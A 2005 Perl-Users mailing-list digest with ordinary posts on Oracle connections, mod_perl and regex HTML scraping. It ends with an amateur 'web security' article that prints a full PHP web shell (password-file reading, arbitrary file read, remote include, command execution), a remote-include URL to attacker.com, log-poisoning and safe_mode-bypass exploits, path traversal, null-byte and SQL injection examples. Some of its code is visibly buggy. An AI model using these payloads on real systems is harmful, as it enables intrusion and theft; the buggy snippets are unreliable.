[26066] in Perl-Users-Digest
Perl-Users Digest, Issue: 8271 Volume: 10
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Sat Jul 23 14:05:20 2005
Date: Sat, 23 Jul 2005 11:05:04 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Perl-Users Digest Sat, 23 Jul 2005 Volume: 10 Number: 8271
Today's topics:
Re: Connecting to oracle from perl <ulrich.herbst@gmx.de>
Re: Convert Integer value to IP Address <vikrantREMOVE@DELETEsaysnetsoftDDDD.com>
Mod_Perl vs PHP in memory, speed, varibles <nntp@alexa.com>
Re: Mod_Perl vs PHP in memory, speed, varibles <noreply@gunnar.cc>
Re: Regex (?(?{CODE})) has too many branches <spam-block-@-SEE-MY-SIG.com>
Re: Regex (?(?{CODE})) has too many branches <tadmc@augustmail.com>
standalone perl interpreter for Windows? <dn@dn.dn2.dn.invalid>
web security <""alexjaquet\"@[no spam]msn.com">
Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: 23 Jul 2005 19:12:06 +0200
From: Ulrich Herbst <ulrich.herbst@gmx.de>
Subject: Re: Connecting to oracle from perl
Message-Id: <87mzod30rd.fsf@pculi.herbst.fam>
mkrogsru@online.no (Anne-Marte) writes:
> Hei
> I'm piping from procmail to perl where I want to connect to an oracle
> DB. The problem is that this isn't working when I call the script from
> my .procmailrc-file, but it is working nicely when I run the script
> from xterm. The exeption I get looks like this:
>
> install_driver(Oracle) failed: Can't load
> '/local/perl/lib/site_perl/5.6.0/sun4-solaris/auto/DBD/Oracle/Oracle.so'
> for module DBD::Oracle: ld.so.1: /local/perl/bin/perl: fatal:
> libclntsh.so.1.0: open failed: No such file or directory at
> /local/perl/lib/5.6.0/sun4-solaris/DynaLoader.pm line 200.
> at (eval 29) line 3
> Compilation failed in require at (eval 29) line 3.
> Perhaps a required shared library or dll isn't installed where
> expected
> at /ssb/ursus/h1/amk/lib/OracleBase.pm line 49
> procmail: Error while writing to "/perl/DBtest.pl"
> procmail: Program failure (255) of "/perl/DBtest.pl"
>
> Is anyone familiar with this problem??
Just a shot in the dark:
Is $ORACLE_HOME (and maybe $ORACLE_SID) set, when run from procmail ?
It is often a problem for cronjobs with oracle databases to not set
these variables.
Uli
--
'''
(0 0)
+------oOO----(_)--------------+
| |
| Ulrich Herbst |
| |
| Ulrich.Herbst@gmx.de |
+-------------------oOO--------+
|__|__|
|| ||
ooO Ooo
------------------------------
Date: Sat, 23 Jul 2005 11:56:42 +0530
From: Vikrant <vikrantREMOVE@DELETEsaysnetsoftDDDD.com>
Subject: Re: Convert Integer value to IP Address
Message-Id: <dbso1e$9t2$1@domitilla.aioe.org>
Thanks to all for the information.
vikrant
------------------------------
Date: Sat, 23 Jul 2005 00:24:31 -0400
From: "nntp" <nntp@alexa.com>
Subject: Mod_Perl vs PHP in memory, speed, varibles
Message-Id: <F7GdnR-w79ngW3zfRVn-sA@rogers.com>
I tried mod_perl. It is too troublesome. Many old scripts stopped running.
Even those running eat memory like crazy.
I wonder why mod_php does not have the problems in mod_perl, such as memory
hog, varible initialization etc.
Is there a way to use Perl scripts at the same speed of PHP without worrying
about those clearing varibles etc in mod_perl.
------------------------------
Date: Sat, 23 Jul 2005 10:13:32 +0200
From: Gunnar Hjalmarsson <noreply@gunnar.cc>
Subject: Re: Mod_Perl vs PHP in memory, speed, varibles
Message-Id: <3kecheFu0aqeU1@individual.net>
nntp wrote:
> I tried mod_perl. It is too troublesome. Many old scripts stopped running.
> Even those running eat memory like crazy.
Did you study this document about porting CGI scripts to mod_perl:
http://perl.apache.org/docs/1.0/guide/porting.html
> I wonder why mod_php does not have the problems in mod_perl, such as memory
> hog, varible initialization etc.
The perceived difference may have something to do with the fact that
while there are many old CGI scripts that were never designed with
mod_perl in mind, PHP scripts that weren't designed with mod_php in mind
are of rare occurrence.
--
Gunnar Hjalmarsson
Email: http://www.gunnar.cc/cgi-bin/contact.pl
------------------------------
Date: Sat, 23 Jul 2005 14:05:34 +0100
From: James Taylor <spam-block-@-SEE-MY-SIG.com>
Subject: Re: Regex (?(?{CODE})) has too many branches
Message-Id: <ant231334572fNdQ@riscpc.jtnet>
In article <slrnde37i5.7fo.abigail@alexandra.abigail.nl>,
Abigail <abigail@abigail.nl> wrote:
>
> James Taylor wrote:
> >
> > Abigail <abigail@abigail.nl> wrote:
> > >
> > > James Taylor wrote:
> > > >
> > > > I've never seen a > inside an attribute value that hasn't been
> > > > converted to a > entity. Wouldn't it would be an error anyway?
> > >
> > > No. You seldomly need to escape an > in HTML. About the only
> > > time you need to escape an > is in the ]]> token - and there's no
> > > mainstream browser that can handle <!INCLUDE [ ... [ ... ]]> in a
> > > meaningful way anyway.
> >
> > <*whoosh*> That's the sound of that paragraph going way over
> > my head. I assume that <!INCLUDE> is an SGML thing. Is it
> > also relevant to HTML? Where can I read up on this?
>
> Since HTML is an SGML application, anything SGML is relevant
> to HTML. Not that 99% of the webauthors or browser programmers
> care about that though.
In my O'Reilly HTML book, "HTML & XHTML, The Definitive Guide" 4th ed.
it has this to say on page 9:
"The problem with SGML is that it is so broad and
all-encompassing that mere mortals cannot use it. Using SGML
effectively requires very expensive and complex tools that
are completely beyond the scope of regular people who just
want to bang out an HTML document in their spare time. As a
result, HTML and other language standards adhere to some,
but not all SGML standards, eliminating many of the more
esoteric features so that HTML is readily usable and used."
Even the W3C advise against things like <![ INCLUDE [ ]]>:
http://www.w3.org/TR/1999/REC-html401-19991224/appendix/notes.html#h-B.3.3
So, if the HTML standards themselves and other authorities
who I respect say that HTML doesn't have to be, and isn't in
practice, a complete SGML application, then I feel it's not
entirely unreasonable for me to take that advice on board.
I certainly feel that for the current, one-off, just for myself,
scrape of a web page, it would not be appropriate for me to
spend weeks or months implementing a perfect SGML parser.
Nor do I feel my tiny self sufficient script needs to start
C<use>ing packages of parser modules, even assuming I could
successfully install them on RISC OS without a compilation
which is doubtful. All I need is a simple but effective
regex for extracting the table I desire from a particular
page *as it stands now*. If I run my program again in the
future and discover the page has changed enough to break the
scrape, then I'll just alter my program without fuss.
I thank you very much for your help with this task, and on
another level I appreciate your perfectionism, however it is
also important to keep a sense of perspective and match the
size of the solution to the size of the problem.
> In fact, properly defining what you want to match is 95%
> of writing your regex.
I couldn't agree more and, if I've not been clear, it's my
fault, sorry. Here's a quick attempt at restating it:
Find and capture the first occurrence of text between
'<table' and '</table>' which does not contain another
'<table' but does contain 'class="whiteHeading"'.
There is no need to interpret the input at any higher
level than a sequence of bytes.
> > > But an attribute might contain '<!--', and another attribute might
> > > contain '-->'. What's in between is not an HTML comment.
> >
> > Shocking! It may be legitimate to put unescaped angle brackets
> > in attribute values but, frankly, anyone who does so is asking
> > for trouble. Fortunately, I can modify my scrape code as needed,
> > but others may not have that luxury. Anyone who actually produces
> > HTML with unescaped angle brackets in unusual places is not
> > writing robust defensive code and probably deserves what they get.
>
> Huh? They're programming against a rigorously defined standard.
> And following it. You can't be more defensive than that.
Well, I beg to differ. Many standards leave plenty of room
for choice and interpretation, and are nowhere near as
rigorous as one might wish. Standards bodies often leave
wiggle room as a *feature*. In this particular case, it is
clear to me that angle brackets within quoted values could
just as legitimately be encoded as < > entities and
that doing so would be more robust than not doing so. Given
a completely free choice, a good programmer would anticipate
the difficulty someone else might have in parsing the HTML
(especially given the pragmatic concerns over missing
quotes) and would therefore encode the angle brackets.
> Anyway, if you want to cut corners, go ahead. Don't expect
> my sympathy. Or help. The web is already ruined enough by
> people with your attitude.
I think that's a bit harsh, and I think you misunderstand my
attitude. I wouldn't cut corners in production code or in
my public HTML output because doing so would impoverish
society as a whole. However, I *would* cut corners in code
I write as a quick hack for my own purposes. Perl makes the
easy things easy so that you can get your job done. If you
were honest, I think you'd admit to cutting corners too.
As for what ruins the web, you've really pressed a trigger
for me. I abhor the mindless way in which the accessibility
of the web is being eroded by people who unthinkingly use
the most maximally fragile HTML, JavaScript, CSS, Flash, and
any other bleeding edge technology they get their hands on
without considering its adverse effects in older or otherwise
less capable browsers. In stark contrast I take extreme care
only to use the most robust, minimally fragile, gracefully
degrading, and pragmatic code possible. As a result my software
and web sites are fully accessible and look good in *all*
browsers. I've given up trying to educate the bleeding edge
crowd because they're too braindead and recalcitrant to help.
> > Okay, I tried that but got the following output:
> >
> > Fatal signal received: EMT trap
> >
> > Can you tell me what an "EMT trap" is?
>
> No. And I don't get a core dump.
Hmmm, curious. I'd better ask in another thread.
Thanks for all your help.
--
James Taylor, London, UK PGP key: 3FBE1BF9
To protect against spam, the address in the "From:" header is not valid.
In any case, you should reply to the group so that everyone can benefit.
If you must send me a private email, use james at oakseed demon co uk.
------------------------------
Date: Sat, 23 Jul 2005 08:03:00 -0500
From: Tad McClellan <tadmc@augustmail.com>
Subject: Re: Regex (?(?{CODE})) has too many branches
Message-Id: <slrnde4g04.jr7.tadmc@magna.augustmail.com>
James Taylor <spam-block-@-SEE-MY-SIG.com> wrote:
> In article <slrnde2kch.7fo.abigail@alexandra.abigail.nl>,
> Abigail <abigail@abigail.nl> wrote:
>> James Taylor wrote:
>> >
>> > I've never seen a > inside an attribute value that hasn't been
>> > converted to a > entity. Wouldn't it would be an error anyway?
>>
>> No. You seldomly need to escape an > in HTML. About the only
>> time you need to escape an > is in the ]]> token - and there's no
>> mainstream browser that can handle <!INCLUDE [ ... [ ... ]]> in a
>> meaningful way anyway.
>
><*whoosh*> That's the sound of that paragraph going way over
> my head. I assume that <!INCLUDE> is an SGML thing.
Yes, it is called a "marked section".
> Is it
> also relevant to HTML?
Since HTML is an "SGML application", all SGML things apply to HTML
things, despite the fact that the most common processors (ie. browsers)
are not spec-compliant.
> Where can I read up on this?
http://www.google.com/search?q=SGML+%22marked+section
>> > If commented out portions of HTML become a problem, I can
>> > simply strip out the comments before applying the table
>> > finding regex under discussion.
>>
>> But an attribute might contain '<!--', and another attribute might
>> contain '-->'. What's in between is not an HTML comment.
>
> Shocking!
Not for folks that pay attention to specifications.
However, such folks are exceedingly rare in the WWW realm...
> It may be legitimate to put unescaped angle brackets
> in attribute values but, frankly, anyone who does so is asking
> for trouble.
Not if they are using code that complies to the specification.
> Anyone who actually produces
> HTML with unescaped angle brackets in unusual places is not
> writing robust defensive code and probably deserves what they get.
Firstly, HTML is _data_, not code.
And any HTML-processing code that cannot handle unescaped angle brackets
in unusual places is not robust defensive code, and anyone who uses
such code probably deserves what they get. :-)
And it kinda sounds like you are leaning toward producing such code...
> but I have a feeling that something more fundamental is awry.
Attempting to treat a "context free grammar" as if it was a
"regular grammar" is fundamentally awry.
IOW, attempting to use regexes rather than a real parser is
what's complicating things.
--
Tad McClellan SGML consulting
tadmc@augustmail.com Perl programming
Fort Worth, Texas
------------------------------
Date: Sat, 23 Jul 2005 11:02:40 -0500
From: DN <dn@dn.dn2.dn.invalid>
Subject: standalone perl interpreter for Windows?
Message-Id: <Xns969C7A63AEDEEdndndn2dninvalid@216.196.97.131>
Are there any free or inexpensive standalone perl interpreters for writing
and testing PHP code on Windows? I'd like to avoid having to install or
activate web server software.
Thanks.
------------------------------
Date: Sat, 23 Jul 2005 18:21:10 +0200
From: Alexandre Jaquet <""alexjaquet\"@[no spam]msn.com">
Subject: web security
Message-Id: <42e26e85$0$1160$5402220f@news.sunrise.ch>
Hi,
I started to write a simple article about web security with php and perl
it would be great if others people will continue writting with me
here is the text :
Inside Web Security by Alexandre Jaquet
----------------------------------------
First I'm not an security expert or an elite hacker, I wrote only
a short article of my *basic knowledege* in insecure / secure web
programming.
I will summarize some quit simple attacks that should be made.
php
--------
An attacker would gain access to a complete web server or just
deface some page.
He can create an hosting account into a particular web hosting agency
or he 've already hacked an ftp account into it
and then simply put on it a simple script like this one :
<?php
/* Simple security check by Alexandre Jaquet */
$action = $_GET['action'];
if ($action == "etcpasswd") {
readPasswd();
}elseif ($action == "openfile") {
openFile();
}elseif ($action == "execute") {
executeCommand();
}elseif ($action == "include") {
includeExploit();
}elseif ($action == "phpinfo") {
phpinfo();
}elseif ($action == "issafe") {
isSafe ();
}elseif ($action == "notallowed") {
notAllowed ();
}elseif ($action == "changedir") {
changeDirectory ();
}
/* Try to read password file*/
function readPasswd () {
$fh = fopen ('/etc/passwd','r');
while(!feof($fh)) {
$content .= fread($fh,4096);
echo "$content";
}
fclose($fh);
}
/* Try to read password file*/
function openFile () {
$file = $_GET['file'];
echo "file : $file <br />";
$fh = fopen ($file,'r');
while(!feof($fh)) {
$content .= fread($fh,4096);
echo "$content";
}
fclose($fh);
}
function includeExploit () {
$url = $_GET['url'];
include($url);
}
/* Execute command passed in parameter ?*/
function executeCommand() {
$cmd = $_GET['action'];
system ($cmd);
}
/* Does our server use safe mode ?*/
function isSafe () {
echo 'safe_mode = ' . ini_get('safe_mode');
echo 'safe_mode_exec_dir = ' . ini_get('safe_mode_exec_dir');
}
/* Get our server disabled functions */
function notAllowed () {
echo 'disable_functions = ' . ini_get('disable_functions');
}
/* Test to change directory and read it's content */
/* opendir doesn't work when SAFE MODE IS ACTIVATED */
function changeDirectory () {
$directory = $_GET['directory'];
chdir($directory);
$dh = opendir($directory);
while (false !== ($filename = readdir($dh))) {
$files[] = $filename;
echo "file : $file []";
}
}
?>
Here is a piece of code who try to read passwd file
/* Try to read password file*/
function readPasswd () {
$fh = fopen ('/etc/passwd','r');
while(!feof($fh)) {
$content .= fread($fh,4096);
echo "$content";
}
fclose($fh);
}
we can change the code for allowing to read any file from the web
by simply passing the file by parameter
then http://localhost/test.php?file=/etc/passwd will open and read the file
function readFile () {
$file = $_GET['file'];
$fh = fopen ($file,'r');
while(!feof($fh)) {
$content .= fread($fh,4096);
echo "$content";
}
fclose($fh);
}
Here is a well know exploit, the file inclusion
an attacker should be able to put url in param and then
code will be executed in our server
http://localhost/test.php?include=http://attacker.com/script.php
function includeExploit () {
$url = $_GET['url'];
include($url);
}
to avoid this attack server administrator should set register_global to off
Another well know attack was a bug in php4 that allowed arbitratry code
execution
with apache log
here a simple exemple
http://localhost/<?$filep=fopen("http://127.0.0.1/file.txt"," rb");?>
http://localhost/<?$contents=fread($filep,]);?>
http://localhost/<?$filep=fopen("c:/Apache2/htdocs/test.txt","wb");?>
http://localhost/<?fwrite($filep,$contents);?>
http://localhost/unexist.htm
http://localhost/php/php.exe?c:\apache2\logs\access.log
the last line will execute the php code who have been logged
This exploit still work on unpatched php version ... (windows and linux)
And other old exploit discovered by Wojciech Purczynsk for bypassing the
safe_mode :
present in PHP 4.0.3 to 4.2.2
<?
$script=tempnam("/tmp", "script");
$cf=tempnam("/tmp", "cf");
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>
it's will be harder for the
attacker to gain total access to the remote server, safe_mode
disable opendir and fopen of files who are not present in current directory
it's disable system and exec programs who are not present in current
directory to
so the attacker will need to put on the directory an external compiled
program,
he could know the server version by executing :
http://djmarketplace.no-ip.biz/test.php?action=phpinfo ...
the attacker could code a simple script in C and do his nasty job ...
...
Perl cgi web security holes
--------------------------
Just as php you will find some similar vulnerabilities,
open and system command
here is a simple exemple of vulnerable code :
sub loadFile {
open (FILE, "$page") or die "cannot open file $page";
print "Content-type: text/html\n\n";
while (<FILE>) {
print $_;
}
close (FILE);
}
attacker could pass any file into open function like :
http://localhost/cgi-bin/script.pl?file=2Fetc2Fpasswd
will open and print the passwd file content
a common solution used to avoid that will to include an extention to the
filename
sub loadFile {
open (FILE, "$page.html") or die "cannot open file $page.html";
print "Content-type: text/html\n\n";
while (<FILE>) {
print $_;
}
close (FILE);
}
but this code is still vulnerable to null character escape
http://localhost/cgi-bin/script.pl?file=2Fetc2Fpasswd%00
Another very bad coding we found in many script is code like this :
@params = $query->param;
foreach $param (@params) {
${$param} = $query->param($param) || '';
};
that allow any kind of variables creation
http://localhost/cgi-bin/script.pl?user=admin&level=2&server=dir=/etc .....
this bad coding should be replaced by :
$name = $query->param('name'); ...
Just as php we should take care when passing parameter to system
sub execute {
my $cmd = $query->param("cmd");
system ($cmd);
}
Attacker should pass commands separated by %3b (;) ...
SQL Injection
---------------------
SQL Injection permit the arbitary sql queries to gain not tolered data,
or to
bypass identification
Here a sample piece of code who is vulnerable :
sub login {
my $username = $query->param('user_name');
my $userpassword = $query->param('user_password');
my ($user_name,$user_password)= ();
($user_name,$user_password)=sqlSelect("nom_utilisateur , mot_de_passe",
"admin", "nom_utilisateur = '$username' AND
mot_de_passe='$userpassword'");
if ($user_name && $user_password) {
#init session ...
}
}
sub sqlSelect {
my $select = shift || '';
my $from = shift || '';
my $where = shift || '';
my $other = shift || '';
my $sql="SELECT SQL_CACHE $select ";
$sql.="FROM $from " if $from;
$sql.="WHERE $where " if $where;
$sql.="$other" if $other;
my ($c)=$dbh->prepare($sql) or die "Sql has gone to hell\n";
if(not ($c->execute())) {
my $err=$dbh->errstr;
return undef;
}
my (@r)=$c->fetchrow();
$c->finish();
return @r;
}
If we pass argument like username : admin password : ' OR 1=1
we gain admin level to the web application.
How is that work ? the sql query passed to the db server will be
SELECT nom_utilisateur, mot_de_passe, level FROM personne WHERE
nom_utilisateur = 'admin' AND
mot_de_passe = '' OR 1=1 1=1 will always return true that's why we will
got access
------------------------------
Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>
Administrivia:
#The Perl-Users Digest is a retransmission of the USENET newsgroup
#comp.lang.perl.misc. For subscription or unsubscription requests, send
#the single line:
#
# subscribe perl-users
#or:
# unsubscribe perl-users
#
#to almanac@ruby.oce.orst.edu.
NOTE: due to the current flood of worm email banging on ruby, the smtp
server on ruby has been shut off until further notice.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
#To request back copies (available for a week or so), send your request
#to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
#where x is the volume number and y is the issue number.
#For other requests pertaining to the digest, send mail to
#perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
#sending perl questions to the -request address, I don't have time to
#answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V10 Issue 8271
***************************************
